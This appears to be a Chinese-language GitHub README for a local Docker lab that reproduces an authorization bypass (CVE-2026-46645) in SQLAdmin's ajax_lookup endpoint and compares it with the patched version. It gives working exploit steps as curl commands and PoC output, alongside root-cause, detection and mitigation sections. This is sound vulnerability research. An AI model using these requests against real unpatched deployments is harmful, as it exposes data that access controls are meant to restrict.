rootdirective-sec/CVE-2026-46645-Analysis-Lab
GitHub: rootdirective-sec/CVE-2026-46645-Analysis-Lab
一个基于 Docker 的本地实验环境,用于复现和对比 SQLAdmin ajax_lookup 端点的授权绕过漏洞(CVE-2026-46645)及其补丁版本的行为差异。
Stars: 0 | Forks: 0
# CVE-2026-46645 - SQLAdmin ajax_lookup 授权绕过
## 执行摘要
本仓库包含一个本地 Docker 实验环境,用于复现 CVE-2026-46645,这是一个影响 SQLAdmin 的 `ajax_lookup` endpoint 的授权绕过漏洞。
SQLAdmin 是一个用于 Starlette 和 FastAPI 应用程序中 SQLAlchemy 模型的管理界面。当应用程序使用 `is_accessible(request)` 限制 `ModelView` 时会出现漏洞行为,但 SQLAdmin 的 `ajax_lookup` 路由在返回查找结果之前并未强制执行相同的访问控制决策。
本实验对比了两个 SQLAdmin 版本:
| 服务 | SQLAdmin 版本 | 用途 | URL |
| --------- | ---------------: | ------------------------- | ----------------------- |
| `vuln` | `0.25.0` | 漏洞目标 | `http://127.0.0.1:8001` |
| `patched` | `0.25.1` | 补丁对比目标 | `http://127.0.0.1:8002` |
演示的漏洞利用链如下:
```
Authenticated low-privileged user
→ restricted SQLAdmin ModelView
→ ModelView.is_accessible(request) returns False
→ user directly requests the ajax_lookup endpoint
→ SQLAdmin 0.25.0 returns relationship lookup data
→ SQLAdmin 0.25.1 blocks the same request with HTTP 403
```
本实验有意使用简单的 `Report` / `SecretProject` 数据模型,以便于理解该授权绕过。这些模型名称并非漏洞的根本原因。它们仅用于创建受控的复现条件。
本实验仅用于受控的本地研究、源码级理解和作品集演示。
## 已验证事实
| 声明 | 证据 | 如何在本实验中验证 |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| SQLAdmin 的 `ajax_lookup` endpoint 是受影响的组件。 | 公开的安全通告将受影响的 endpoint 格式描述为 `GET /{identity}/ajax/lookup?name=&term=`。 | 运行 PoC 并观察对 `/admin/report/ajax/lookup?name=project&term=Secret` 的请求。 |
| SQLAdmin `0.25.0` 被用作存在漏洞的对比目标。 | 本实验在 `vuln` 容器中安装了 `sqladmin==0.25.0`。 | 运行 `docker compose exec -T vuln python -m pip show sqladmin`。 |
| SQLAdmin `0.25.1` 被用作已修复的对比目标。 | 公开的安全通告和发布说明指出 `0.25.1` 是修复后的版本。 | 运行 `docker compose exec -T patched python -m pip show sqladmin`。 |
| 根本原因在于 SQLAdmin 上游的 `Admin.ajax_lookup()` 路由。 | 补丁在 `ajax_lookup()` 中添加了缺失的身份验证和 `is_accessible(request)` 强制执行。 | 使用本 README 中的命令检查两个容器内部的 `Admin.ajax_lookup()`。 |
| 本实验创建了一个受限的 `ModelView`。 | `ReportAdmin.is_accessible(request)` 有意返回 `False`。 | 检查 `app/main.py`。 |
| PoC 使用已认证的 session。 | PoC 首先登录到 `/admin/login`,保留 session cookie,然后请求 `ajax_lookup`。 | 运行 `python3 poc/poc.py --base-url http://127.0.0.1:8001`。 |
| 漏洞信号是数据暴露。 | SQLAdmin `0.25.0` 从受限视图中返回 HTTP 200 和 JSON 查找结果。 | 漏洞目标应返回 `Secret Project Alpha` 和 `Secret Project Beta`。 |
| 补丁信号是拒绝访问。 | SQLAdmin `0.25.1` 对于相同的已认证请求返回 HTTP 403。 | 已修补的目标应返回 `403 Forbidden`。 |
## 假设与未知
本实验使用 `sqladmin==0.25.0` 作为漏洞基线,使用 `sqladmin==0.25.1` 作为补丁基线。
本实验重点关注以下授权绕过条件:
```
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.
```
本实验并未尝试复现所有可能的 SQLAdmin 部署模式。它有意创建了一个带有一个受限管理员视图的小型 Starlette 应用程序,以便于验证漏洞版本和补丁版本之间的行为差异。
`Report` 和 `SecretProject` 模型是实验室专用对象。它们不是 SQLAdmin 本身的一部分。
PoC 不尝试权限提升、数据修改、session 窃取、外部回调、持久化或针对非实验系统的攻击。
## 根本原因概述
根本原因在于 SQLAdmin 上游的 `Admin.ajax_lookup()` 路由,而不在本实验的应用程序代码中。
SQLAdmin 允许开发者通过重写以下方法来限制对管理员视图的访问:
```
ModelView.is_accessible(request)
```
其他管理员路由应在允许请求继续之前强制执行此访问控制决策。例如,list、create、details、delete、edit 和 export 等路由会检查当前请求是否被允许访问目标 `ModelView`。
存在漏洞的 `ajax_lookup` 路由没有强制执行相同的访问控制决策。
`ajax_lookup` endpoint 被 SQLAdmin 的 `form_ajax_refs` 功能用于动态加载关系值。其 endpoint 格式为:
```
/admin//ajax/lookup?name=&term=
```
在漏洞版本中,`ajax_lookup()` 解析目标 `ModelView`,从查询字符串中读取查找字段名称和搜索词,然后调用 AJAX 加载器并返回 JSON 结果。缺失的安全步骤是它没有首先验证当前请求是否被允许访问该 `ModelView`。
安全影响在于,通过常规 UI 路由阻止已认证用户访问受限管理员视图时,该用户仍然可以直接请求该视图的 AJAX 查找 endpoint 并接收关系查找数据。
SQLAdmin `0.25.1` 通过在 `ajax_lookup()` 内部强制执行访问控制修复了此问题。修补后的路由会检查 `model_view.is_accessible(request)`,并在无法访问目标视图时返回 HTTP 403。
本实验将 `ReportAdmin.is_accessible(request)` 定义为返回 `False` 仅是为了复现漏洞条件。实验代码不是根本原因。它是一个受控的测试工具,用于证明 SQLAdmin 上游的 `ajax_lookup()` 路由是否遵守访问控制决策。
预期的行为差异:
```
sqladmin 0.25.0 -> HTTP 200 with JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
```
## 源码补丁概述
有意义的上游补丁是向 `Admin.ajax_lookup()` 添加了身份验证和授权强制执行。
修补后的行为等效于:
```
@login_required
async def ajax_lookup(self, request):
identity = request.path_params["identity"]
model_view = self._find_model_view(identity)
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
name = request.query_params.get("name")
term = request.query_params.get("term")
...
```
关键的授权检查是:
```
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
```
本实验证明了此检查在漏洞版本中不存在,而在修补后的版本中存在。
## 实验架构
本实验通过 Docker Compose 运行两个相互隔离的 Starlette 应用程序。
```
.
├── app/
│ ├── __init__.py
│ └── main.py
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
├── requirements/
│ ├── patched.txt
│ └── vuln.txt
└── vuln/
└── Dockerfile
```
这两个服务运行相同的应用程序代码,但安装了不同的 SQLAdmin 版本:
| 服务 | 包版本 | 端口映射 |
| --------- | -----------------: | ------------------------ |
| `vuln` | `sqladmin==0.25.0` | `127.0.0.1:8001 -> 8000` |
| `patched` | `sqladmin==0.25.1` | `127.0.0.1:8002 -> 8000` |
该应用程序创建了两个 SQLAlchemy 模型:
```
SecretProject
Report
```
`Report` 与 `SecretProject` 存在关联关系:
```
Report.project -> SecretProject
```
`ReportAdmin` 定义了一个 AJAX 关系查找:
```
form_ajax_refs = {
"project": {
"fields": ("name",),
"order_by": "name",
"limit": 10,
}
}
```
受限的管理员视图如下:
```
class ReportAdmin(ModelView, model=Report):
def is_accessible(self, request):
return False
```
这有意创造了测试 SQLAdmin 的 `ajax_lookup()` 路由是否强制执行 `is_accessible()` 所需的条件。
PoC 使用的漏洞 endpoint 为:
```
/admin/report/ajax/lookup?name=project&term=Secret
```
默认的实验室凭据:
```
username: analyst
password: lab-password
```
## 环境要求
* Docker Desktop 或 Docker Engine
* Docker Compose v2
* Python 3
* 宿主机上运行 PoC 所需的 Python `requests` 包
* 用于手动 HTTP 复现的 `curl`
* 镜像构建期间需要访问互联网以从 PyPI 安装 Python 包
如有需要,在宿主机上安装 PoC 依赖项:
```
python3 -m pip install requests
```
## 快速开始
构建并启动实验环境:
```
docker compose down --remove-orphans
docker compose up --build -d
```
检查容器状态:
```
docker compose ps
```
预期的对外暴露服务:
```
Vulnerable target: http://127.0.0.1:8001
Patched target: http://127.0.0.1:8002
```
检查健康状态 endpoint:
```
curl -i http://127.0.0.1:8001/health
curl -i http://127.0.0.1:8002/health
```
两者都应返回:
```
{"status":"ok"}
```
如果需要,可以在浏览器中打开管理员 UI:
```
http://127.0.0.1:8001/admin
http://127.0.0.1:8002/admin
```
登录凭据:
```
analyst / lab-password
```
## PoC 使用说明
针对漏洞服务运行 PoC:
```
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
```
针对已修补的服务运行相同的 PoC:
```
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
```
PoC 执行以下步骤:
```
1. Send POST /admin/login with the lab credentials.
2. Keep the returned session cookie.
3. Send GET /admin/report/ajax/lookup?name=project&term=Secret.
4. Print the HTTP status, content type, response body, and interpretation.
```
PoC 有意打印请求和响应流程,以便读者可以直观地看到授权绕过。
## 使用 curl 手动复现 HTTP 请求
你可以在不使用 `poc/poc.py` 的情况下手动复现该漏洞。
当你想要展示确切的 HTTP 流程时,这非常有用:
```
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses
```
### 漏洞目标
设置漏洞目标的 URL:
```
TARGET="http://127.0.0.1:8001"
COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"
```
以实验室用户身份登录并保存 session cookie:
```
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
```
发送受限的 `ajax_lookup` 请求:
```
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
```
预期的漏洞结果:
```
HTTP/1.1 200 OK
content-type: application/json
```
预期响应体:
```
{
"results": [
{
"id": "1",
"text": "Secret Project Alpha"
},
{
"id": "2",
"text": "Secret Project Beta"
}
]
}
```
这证实了漏洞行为,因为请求已通过身份验证,`ReportAdmin.is_accessible(request)` 返回 `False`,但 SQLAdmin `0.25.0` 仍然返回了查找数据。
### 已修补目标
设置已修补目标的 URL:
```
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"
```
以相同的实验室用户身份登录:
```
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
```
发送相同的受限 `ajax_lookup` 请求:
```
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
```
预期的修补后结果:
```
HTTP/1.1 403 Forbidden
```
这证实了修补后的行为,因为 SQLAdmin `0.25.1` 在 `ajax_lookup()` 内部强制执行了缺失的 `ModelView.is_accessible(request)` 检查。
### 单行对比
漏洞服务:
```
curl -s -L \
-c /tmp/cve-2026-46645-vuln.cookies \
-b /tmp/cve-2026-46645-vuln.cookies \
-X POST http://127.0.0.1:8001/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-vuln.cookies \
"http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"
```
已修补服务:
```
curl -s -L \
-c /tmp/cve-2026-46645-patched.cookies \
-b /tmp/cve-2026-46645-patched.cookies \
-X POST http://127.0.0.1:8002/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-patched.cookies \
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"
```
预期对比结果:
```
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
```
## 预期输出
漏洞目标:
```
================================================================================
Target: sqladmin 0.25.0 vulnerable
================================================================================
Base URL : http://127.0.0.1:8001
Login URL : http://127.0.0.1:8001/admin/login
Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8001/admin/login
form username='analyst'
form password=
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8001/admin/
Cookies : {'session': ''}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 200
Content-Type : application/json
Body:
{
"results": [
{
"id": "1",
"text": "Secret Project Alpha"
},
{
"id": "2",
"text": "Secret Project Beta"
}
]
}
================================================================================
Step 3 - Interpretation
================================================================================
[VULNERABLE SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 200 and JSON results.
This means an authenticated user could query lookup data even though
ReportAdmin.is_accessible(request) returned False.
```
已修补目标:
```
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL : http://127.0.0.1:8002
Login URL : http://127.0.0.1:8002/admin/login
Lookup URL : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8002/admin/
Cookies : {'session': ''}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 403
Content-Type : text/html; charset=utf-8
================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.
```
## PoC 工作原理
PoC 使用 Python `requests` 库和持久的 `requests.Session()` 对象。
首先,它向 SQLAdmin 进行身份验证:
```
POST /admin/login
```
使用的实验室凭据:
```
analyst / lab-password
```
登录后,session 对象会保留返回的 session cookie。
然后,PoC 发送受限的 AJAX 查找请求:
```
GET /admin/report/ajax/lookup?name=project&term=Secret
```
在实验室应用程序中,此请求针对的是 `ReportAdmin`。
`ReportAdmin` 被有意设置为不可访问:
```
def is_accessible(self, request):
return False
```
这是实验室设定的条件。它不是上游漏洞。
正在测试的安全问题是:
```
Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?
```
在 SQLAdmin `0.25.0` 上,该 endpoint 返回 HTTP 200 和 JSON 查找结果。这证实了漏洞行为。
在 SQLAdmin `0.25.1` 上,该 endpoint 返回 HTTP 403。这证实了修补后的行为。
## 实用的验证命令
检查正在运行的容器:
```
docker compose ps
```
检查服务日志:
```
docker compose logs vuln patched
```
检查已安装的 SQLAdmin 版本:
```
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin
```
预期版本:
```
vuln -> Version: 0.25.0
patched -> Version: 0.25.1
```
再次运行 PoC:
```
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
```
```
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
```
保存证据输出:
```
mkdir -p evidence
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable" \
| tee evidence/poc-vuln-0.25.0.txt
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched" \
| tee evidence/poc-patched-0.25.1.txt
docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt
```
检查已安装的漏洞源码:
```
docker compose exec -T vuln python - <<'PY'
import inspect
import sqladmin.application
print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
```
检查已安装的修补后源码:
```
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application
print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
```
漏洞版本不应在 `ajax_lookup()` 内部强制执行 `model_view.is_accessible(request)`。
修补后的版本应包含等效于以下内容的授权检查:
```
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
```
## 检测与监控
在使用 SQLAdmin 的实际应用程序中,可疑活动可能表现为对 AJAX 查找 endpoint 的直接请求:
```
/admin//ajax/lookup?name=&term=
```
对于本实验,有用的日志指标包括:
```
GET /admin/report/ajax/lookup?name=project&term=Secret
```
预期的漏洞日志模式:
```
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK
```
预期的修补后日志模式:
```
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden
```
潜在的生产环境监控建议:
* 审查对 `/ajax/lookup` endpoint 的直接访问,
* 将查找访问与预期的管理员 UI 工作流进行比较,
* 监控来自低权限账户的重复查找词,
* 审查敏感的 `ModelView` 类是否使用了 `form_ajax_refs`,
* 验证受限的模型视图是否仍然通过关系查找暴露。
## 缓解措施与补丁说明
将 SQLAdmin 升级到 `0.25.1` 或更高版本。
该补丁在 `ajax_lookup` 路由中添加了缺失的访问控制强制执行。修补后的 endpoint 会检查当前请求是否被允许访问目标 `ModelView`。如果 `is_accessible(request)` 返回 `False`,请求将被阻止并返回 HTTP 403。
应用层面的加固建议:
* 将 SQLAdmin 升级到修补后的版本,
* 审查所有自定义的 `ModelView.is_accessible()` 实现,
* 除非必要,否则避免通过 `form_ajax_refs` 暴露敏感的关系查找,
* 通过常规 UI 路由和 AJAX 查找路由测试受限的管理员视图,
* 监控对 `/admin/*/ajax/lookup` endpoint 的访问,
* 确保正确配置管理员身份和 session 处理。
## 清理
停止并移除容器和网络:
```
docker compose down --remove-orphans
```
移除容器、网络和匿名卷:
```
docker compose down -v --remove-orphans
```
如果需要,移除本地构建的镜像:
```
docker image rm \
cve-2026-46645-sqladmin-vuln:0.25.0 \
cve-2026-46645-sqladmin-patched:0.25.1 \
2>/dev/null || true
```
如果需要,移除证据文件:
```
rm -rf evidence/
```
## 安全边界
本实验仅用于本地安全研究和受控的演示。
请勿对你不拥有或未经许可测试的系统运行 PoC。
请勿在本实验中使用真实的凭据、生产环境机密或外部目标。
PoC 被限制为仅针对本地的 Docker 服务,例如:
```
http://127.0.0.1:8001
http://127.0.0.1:8002
```
PoC 不包含用于凭据窃取、数据修改、持久化、横向移动或外部回调的 payload。
目标是在受控环境中演示一种特定的授权绕过情况:
```
authenticated user
+ restricted ModelView
+ ajax_lookup request
+ vulnerable version returns data
+ patched version returns 403
```
## 参考链接
- GitHub Advisory Database: SQLAdmin Authorization Bypass on ajax_lookup
https://github.com/advisories/GHSA-54mc-gghv-4cfj
- OSV Advisory: GHSA-54mc-gghv-4cfj / CVE-2026-46645
https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj
- SQLAdmin Release 0.25.1
https://github.com/smithyhq/sqladmin/releases/tag/0.25.1
- SQLAdmin Compare: 0.25.0 to 0.25.1
https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1
- SQLAdmin 0.25.0 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py
- SQLAdmin 0.25.1 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py
- SQLAdmin Authentication Tests
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py
- SQLAdmin AJAX Tests
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py
- PyPI: sqladmin
https://pypi.org/project/sqladmin/
- SQLAdmin GitHub Repository
https://github.com/smithyhq/sqladmin
标签:AV绕过, CISA项目, Docker靶场, FastAPI, 安全漏洞复现, 版权保护, 请求拦截, 越权漏洞, 逆向工具